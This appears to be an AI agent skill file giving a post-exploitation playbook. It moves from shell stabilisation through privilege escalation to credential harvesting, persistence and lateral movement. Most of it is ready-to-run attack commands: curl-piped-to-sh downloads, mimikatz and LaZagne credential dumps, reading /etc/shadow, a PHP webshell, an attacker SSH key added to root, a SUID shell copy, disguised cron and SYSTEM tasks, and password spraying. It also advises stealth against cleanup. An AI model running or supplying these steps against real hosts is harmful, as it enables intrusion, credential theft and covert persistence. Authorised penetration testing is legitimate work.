| name | post-exploit-technique |
| description | Auth assessment: post-compromise host methodology; shell state, local privesc triage, secret-exposure review, pivot planning, evidence. |
| license | MIT |
| compatibility | Linux (x86-64/ARM/MIPS), Windows (x64); user-mode shells; local access required. |
| metadata | {"author":"AeonDave","version":"1.2","category":"offensive-techniques","language":"multi"} |
Post-Exploit Technique
Goal: move from low-privilege shell to full host control, harvest credentials, establish persistence, and set up lateral movement — reproducibly and with minimal noise.
When this technique applies
- Initial shell obtained (reverse shell, webshell, RCE via vuln-exploit-technique).
- Need to escalate from www-data/low-user to root/SYSTEM.
- Need to extract credentials for lateral movement.
- Need to maintain access across reboots.
- Need to pivot into internal network segments.
- Need to evaluate cloud, Kubernetes, or CI/CD credentials discovered from a host or repository foothold.
Boundary with other skills
- Input from
vuln-exploit-technique: stable shell, known user, target OS.
- Lateral movement to AD targets: load
active-directory-technique for domain attacks.
- Network pivoting mechanics: use
references/pivoting.md for tunnel setup, forwarding, SOCKS chains, and double pivots; keep network-technique for broader network investigation logic.
- Offensive coding: custom payloads, BOF, shellcode →
offensive-coding/ skills.
Tool families
| Need | Skill |
|---|
| Shell payload generation | offensive-tools/shells/revshells/, offensive-tools/shells/revshellgen/ |
| Shell stabilization and file transfer | offensive-tools/linux/pwncat/, offensive-tools/windows/evil-winrm/ |
| Linux privesc triage | offensive-tools/linux/linpeas/, offensive-tools/linux/linux-exploit-suggester/ |
| Windows privesc triage | offensive-tools/windows/winpeas/, offensive-tools/windows/privesccheck/, offensive-tools/windows/watson/ |
| Credential harvest | offensive-tools/windows/mimikatz/, offensive-tools/windows/nanodump/, offensive-tools/windows/lazagne/, offensive-tools/linux/mimipenguin/ |
| Pivoting | offensive-tools/network/ligolo-ng/, offensive-tools/network/chisel/ |
| Windows/AD protocol actions | offensive-tools/windows/impacket/, offensive-tools/windows/crackmapexec/ |
Initial triage
Before escalating or harvesting broadly, classify the foothold and choose the shortest path to higher privilege or next-hop access.
- Starting state: what OS and privilege level do you have, how stable is the shell, and is the host standalone, domain-joined, cloud-hosted, or part of a larger enclave?
- First questions: what local escalation paths are realistic, what credentials may exist here, what defenses are active, and does the mission require privilege, persistence, pivoting, or all three?
- Immediate actions: stabilize the shell, capture host context, and rank one privesc path, one credential path, and one pivot path before acting.
- Tool-family direction: use stabilization and privesc triage skills first (
pwncat, evil-winrm, linpeas, winpeas, privesccheck, watson), then credential-harvest skills, then pivot and AD-oriented tools once the credential type and target path are known.
- Escalation rule: do not mix privilege escalation, persistence, and lateral movement simultaneously; confirm each stage before moving to the next.
- Pivoting rule: if the next objective is on an unreachable subnet, set up and validate the pivot before running downstream enumeration or exploitation.
Agent operating model
Loop:
1. Stabilize shell and confirm context.
2. Situational awareness — OS, user, network, defenses.
3. Local privilege escalation — automated triage → manual confirmation.
4. Credential harvest — dump, search, capture.
5. Persistence — survive reboot, evade cleanup.
6. Lateral movement prep — pivot routes, credential handoff.
Stop when: root/SYSTEM achieved, credentials for next hop secured, persistence confirmed.
Do not skip shell stabilization — unstable shells cause false negatives in enumeration tools.
Phase 1 — Shell stabilization
Convert dumb reverse shell to interactive TTY before running any tools.
python3 -c 'import pty; pty.spawn("/bin/bash")'
script /dev/null -c bash
pwncat-cs -lp 4444
Windows:
# evil-winrm gives full PTY over WinRM
evil-winrm -i <target> -u <user> -p <pass>
# pwncat (Windows target via netcat reverse shell)
# Upgrade via powershell conPTY support
See offensive-tools/shells/revshells/ for shell generation, offensive-tools/shells/revshellgen/ for generators, offensive-tools/linux/pwncat/ for stabilization, and offensive-tools/windows/evil-winrm/ for WinRM sessions.
Driving a shell over a non-interactive / agent channel
When the shell is driven programmatically (a send/read harness, not a live terminal), the human stabilization above backfires — apply these instead:
- Transfer files by pull, not paste. Pasting a large base64 blob into the shell corrupts (terminal/transport mangling — the same failure mode as a truncated inline config). Serve from your box and fetch on the target:
python3 -m http.server 8000 --bind <your-ip> then curl -s http://<your-ip>:8000/x -o /tmp/x (over a VPN, <your-ip> is your tun0 — reachable by the target even when your host is NAT'd).
- Do not
pty.spawn over a non-TTY channel — the nested interactive shell swallows the harness's input and the session wedges. Keep commands non-interactive, or catch the shell with pwncat-cs (listener-side PTY upgrade).
- Answer prompts without the interactive loop.
sudo -S takes the password on stdin (echo 'pw' | sudo -S -l); su/ssh require a TTY — drive them from a tiny self-contained pty.fork() helper delivered via the pull method, not by typing into the prompt across the harness (its retries will eat your next commands).
- Reverse-shell lifetime: a blocking payload stays alive because the parent holds the request open; a backgrounded/detached one is often reaped by service cgroup cleanup. If an exploit drops a file that an unauthenticated loop re-reads, clean it up or name it to sort first, so a stale artifact can't abort processing before the live payload runs.
Phase 2 — Situational awareness
Run before any escalation attempt. Answers: who am I, what is this host, what is reachable?
id; whoami; groups; sudo -l; cat /etc/passwd | grep -v nologin
uname -a; cat /etc/os-release; lsb_release -a 2>/dev/null
ip a; ip r; cat /etc/hosts; ss -tnlp; arp -n
ps aux; systemctl list-units --type=service
find / -perm -u=s -type f 2>/dev/null
find / -writable -type f 2>/dev/null | grep -v proc | head -30
crontab -l; ls /etc/cron*
Windows equivalent:
whoami /all; net user; net localgroup administrators
systeminfo; hostname; ipconfig /all; route print
netstat -ano; tasklist /v
Phase 2a — Kernel tampering awareness
Run these checks when process, file, or network views disagree, or when the host may already contain an LKM rootkit such as Reptile or Diamorphine. Treat hits as leads until corroborated by more than one artifact.
Module-level checks
lsmod
cat /proc/modules
ls -la /sys/module/ | grep -i -E "reptile|diamorphine|sneaky|hide"
ls -la /proc/reptile 2>/dev/null
cat /proc/reptile/version 2>/dev/null
Syscall table, file, and fd indicators
grep " sys_call_table" /proc/kallsyms
ls -la /proc/*/fd/ 2>/dev/null | grep -i reptile
cat /proc/net/tcp; cat /proc/net/udp; ss -tlnp
ls -la /dev/mem /dev/kmem /dev/port
Rootkit-specific indicators
ls /proc/reptile/files 2>/dev/null
ls /proc/reptile/pids 2>/dev/null
Hidden-file and boot persistence checks
nsenter --mount=/proc/1/ns/mnt find / -name "*reptile*" 2>/dev/null
lsinitramfs /boot/initrd.img-$(uname -r) | grep -i -E "reptile|kmod|rootkit"
Quality gate: Do not unload modules or alter rootkit state during triage unless cleanup is explicitly in scope. Preserve command output and compare independent views (lsmod, /proc/modules, /sys/module, ss, /proc/net/*).
Related: offensive-tools/linux/linpeas/, offensive-tools/linux/linux-persistence/.
Phase 3 — Local privilege escalation
Linux
Run automated triage first, then confirm manually.
Automated:
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
./linpeas.sh 2>/dev/null | tee /tmp/linpeas.out
./linux-exploit-suggester.sh
./linux-exploit-suggester-2.sh -k $(uname -r | cut -d- -f1)
See offensive-tools/linux/linpeas/, offensive-tools/linux/linux-exploit-suggester/.
Manual priority checklist:
- [ ] sudo -l → NOPASSWD entries → GTFOBins for that binary
- [ ] sudo --version → version-specific CVEs even with no sudoers entry (Baron Samedit CVE-2021-3156; sudoedit CVE-2023-22809 if you have sudoedit/-e on any file)
- [ ] SUID/SGID binaries → GTFOBins check
- [ ] Writable /etc/passwd or /etc/sudoers
- [ ] Cron jobs running as root with writable script/path
- [ ] Writable service unit files
- [ ] PATH hijacking: relative command in root-owned script
- [ ] Capabilities: getcap -r / 2>/dev/null
- [ ] NFS no_root_squash mounts
- [ ] Docker group membership → docker run -v /:/host escape
- [ ] Kernel/glibc exploit: check CVEs for exact `uname -r` AND `ldd --version` (Dirty Pipe, nf_tables CVE-2024-1086, GameOver(lay), PwnKit, Looney Tunables CVE-2023-4911)
- [ ] Root-owned archive extraction (tar/zip/cpio): zip-slip, symlink escape, PATH_MAX bypass
- [ ] Scheduled job/watcher feeds attacker-controlled files to a parser as a higher-priv user (fontforge/ImageMagick/gs/exiftool/soffice/pandoc) → code-exec via format features
- [ ] Custom sudo-allowed wrapper script → trace its library sink (download/deserialize/template/eval), not just the binary
- [ ] Loopback-only service running as root (ss -ltnp | grep 127.0.0.1): admin panel that runs commands as root (OliveTin/Cockpit/Webmin/Semaphore) → guest-exec + argument-type injection
- [ ] Connectable unix socket owned by a higher-priv user (ls -l /run/**/*.sock → srw-rw---- root:yourgroup): daemon may pass a root-opened fd via SCM_RIGHTS → read a root-only file, or offer a file-op/exec primitive
→ Full patterns: references/linux-privesc.md (sections 1, 10, 11, 12, 13).
When privesc depends on a scheduled trigger, do not wait on it blind: catch the real job and its full argv with pspy/ps (a .bak/old copy is not proof of the running version), then reproduce the trigger directly — run the same processor as your current user to confirm the payload fires and to read its error output immediately. Have the real tool emit any strict serialized/binary payload rather than hand-rolling it.
Windows
Automated:
# winpeas — comprehensive Windows privesc triage
.\winPEASx64.exe > winpeas.out
# privesccheck
Import-Module .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended | Tee-Object privesc.out
# watson — patch-level missing CVEs
.\Watson.exe
See offensive-tools/windows/winpeas/, offensive-tools/windows/privesccheck/, offensive-tools/windows/watson/.
Manual priority checklist:
- [ ] AlwaysInstallElevated: both HKCU+HKLM set → msi payload
- [ ] Unquoted service paths with writable directory
- [ ] Weak service/file permissions (icacls on service binary)
- [ ] SeImpersonatePrivilege / SeAssignPrimaryToken → Potato family (PrintSpoofer/GodPotato; JuicyPotato only pre-1809)
- [ ] SeBackupPrivilege/SeRestore/SeManageVolume, or Backup Operators / DnsAdmins group → direct SYSTEM/DC path
- [ ] HiveNightmare/SeriousSAM (CVE-2021-36934): icacls %windir%\system32\config\SAM → Users:(R) + a shadow copy → read hives
- [ ] Writable registry run keys
- [ ] Scheduled tasks running as SYSTEM with writable binary
- [ ] DLL hijacking: service with missing DLL in writable path
- [ ] UAC bypass: check UAC level, known bypass techniques
- [ ] Stored credentials: cmdkey /list, credential manager
→ Full patterns: references/windows-privesc.md.
Phase 4 — Credential harvesting
Extract credentials for current host and lateral movement.
Linux
./mimipenguin.sh
find / -name "id_rsa" -o -name "id_ed25519" 2>/dev/null
cat ~/.ssh/authorized_keys; ls ~/.ssh/
find / -name "*.conf" -o -name "*.env" -o -name "*.cfg" 2>/dev/null | xargs grep -l "password\|passwd\|secret\|token" 2>/dev/null | head -20
grep -r "DB_PASS\|DB_PASSWORD\|mysql_connect\|PDO" /var/www/ 2>/dev/null
cat /etc/shadow; unshadow /etc/passwd /etc/shadow > unshadowed.txt
find / -name "*.sqlite" -path "*firefox*" -o -name "Login Data" -path "*chrome*" 2>/dev/null
See offensive-tools/linux/mimipenguin/, offensive-tools/linux/ssh-key-scanner/.
Windows
# Mimikatz — primary Windows credential dump
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "lsadump::sam" "exit"
# Nanodump — LSASS dump (stealthier than mimikatz direct)
.\nanodump.exe -w lsass.dmp
# Transfer dump, then parse locally with mimikatz
# LaZagne — multi-source credential harvest (browsers, apps, wifi, DB)
.\lazagne.exe all
# Credential Manager dump
cmdkey /list
.\mimikatz.exe "vault::cred" "vault::list" "exit"
# SAM/SYSTEM offline (if SeBackupPrivilege or volume shadow)
reg save HKLM\SAM sam.bak
reg save HKLM\SYSTEM system.bak
# Transfer and parse: python3 secretsdump.py -sam sam.bak -system system.bak LOCAL
See offensive-tools/windows/mimikatz/, offensive-tools/windows/nanodump/, offensive-tools/windows/lazagne/.
→ Full credential sources and parsing: references/credential-harvest.md.
Cloud and CI/CD credentials require different handling: record token expiry, tenant/project scope, effective permissions, and audit-log footprint before use. For managed identities, service principals, CI variables, OIDC tokens, Kubernetes service accounts, and serverless deploy paths, use references/cloud-and-cicd-post-exploit.md.
Phase 5 — Persistence
Survive reboots and cleanup attempts.
Linux persistence patterns
(crontab -l 2>/dev/null; echo "*/5 * * * * /tmp/.svc >/dev/null 2>&1") | crontab -
cat > /etc/systemd/system/svc.service << EOF
[Unit]
After=network.target
[Service]
ExecStart=/tmp/.svc
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl enable svc.service --now
echo "ssh-rsa AAAA... attacker_key" >> /root/.ssh/authorized_keys
cp /bin/bash /tmp/.bash; chmod +s /tmp/.bash
echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/.config.php
See offensive-tools/linux/linux-persistence/.
Windows persistence patterns
# Registry run key
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v svc /t REG_SZ /d "C:\Users\Public\svc.exe"
# Scheduled task (SYSTEM)
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\svc.exe" /sc onstart /ru SYSTEM /f
# Service installation
sc create svc binpath= "C:\Windows\Temp\svc.exe" start= auto
sc start svc
# WMI event subscription (fileless, stealthy)
# See references/persistence.md for WMI persistence
# Golden ticket (domain) → load active-directory-technique
See offensive-tools/shells/weevely3/ for webshell persistence.
→ Full patterns by OS and stealth level: references/persistence.md.
Cloud or pipeline persistence (IAM credentials, serverless triggers, Kubernetes jobs, protected CI variables, deploy keys) is covered in references/cloud-and-cicd-post-exploit.md; prefer scoped, reversible proofs and avoid broad tenant-wide changes unless explicitly authorized.
Phase 6 — Lateral movement prep
Set up pivoting and credential handoff for next hops.
Pivot setup
See references/pivoting.md for transport selection, egress-driven tunnel choice, double pivots, and validation flow. Use offensive-tools/network/ligolo-ng/ and offensive-tools/network/chisel/ for tool-specific operation.
Credential handoff
- NTLM hashes → pass-the-hash via
offensive-tools/windows/crackmapexec/ or offensive-tools/windows/impacket/ (load active-directory-technique)
- Plaintext passwords → spray across internal services (SSH, WinRM, SMB)
- Kerberos tickets → pass-the-ticket (load
active-directory-technique)
- SSH keys → try against all discovered internal SSH services
→ Full lateral movement patterns: references/lateral-movement.md.
Quality gates
- Shell is stable and TTY before running enumeration tools.
- All privesc findings manually confirmed before exploitation.
- Credential dumps verified to parse correctly before transfer.
- Persistence tested across reboot simulation where possible.
- Pivot tunnel validated with a test connection before routing full scan.
- Pivot method selected by egress and tool need.
Anti-patterns
- Running linpeas/winpeas without stabilized shell → output corruption.
- Escalating directly to root without documenting the path → unreproducible.
- Storing dumps/credentials on target disk unencrypted.
- Establishing persistence with obvious binary names / cron comments.
- Passing hashes or tickets without confirming target service accepts that auth method.
- Polling a slow scheduled trigger blind instead of reproducing the processor directly for instant feedback.
- Trusting a
.bak/old on-disk script as the live job, or hand-rolling a strict serialized/binary payload the parser then rejects — generate it with the real tool.
- Theorising a chain of bypasses before reading the actual source/cmdline when ground truth (file read,
ps/pspy, direct tool run) is one cheap command away.
Resources
- references/linux-privesc.md — Linux privesc vector catalog: sudo, SUID, cron, capabilities, kernel exploits, Docker/LXC, NFS.
- references/windows-privesc.md — Windows privesc vector catalog: service abuse, token impersonation, Potato family, DLL hijacking, UAC bypass.
- references/credential-harvest.md — Linux and Windows credential sources, dump methods, parsing, and handoff format.
- references/persistence.md — Linux/Windows persistence by stealth tier: cron/systemd, registry/tasks, WMI, webshell, kernel-level.
- references/cloud-and-cicd-post-exploit.md — Cloud credential triage, CI/CD runner/repository footholds, serverless/Kubernetes persistence, and scoped proof discipline.
- references/lateral-movement.md — Lateral movement decision model: pivot route selection, credential type → protocol → tool mapping, SMB/SSH/WinRM/RDP patterns.
- references/pivoting.md — Pivoting transport selection and setup: ligolo-ng, chisel, SSH, socat, netsh portproxy, DNS/ICMP tunnels, double pivots, and validation rules.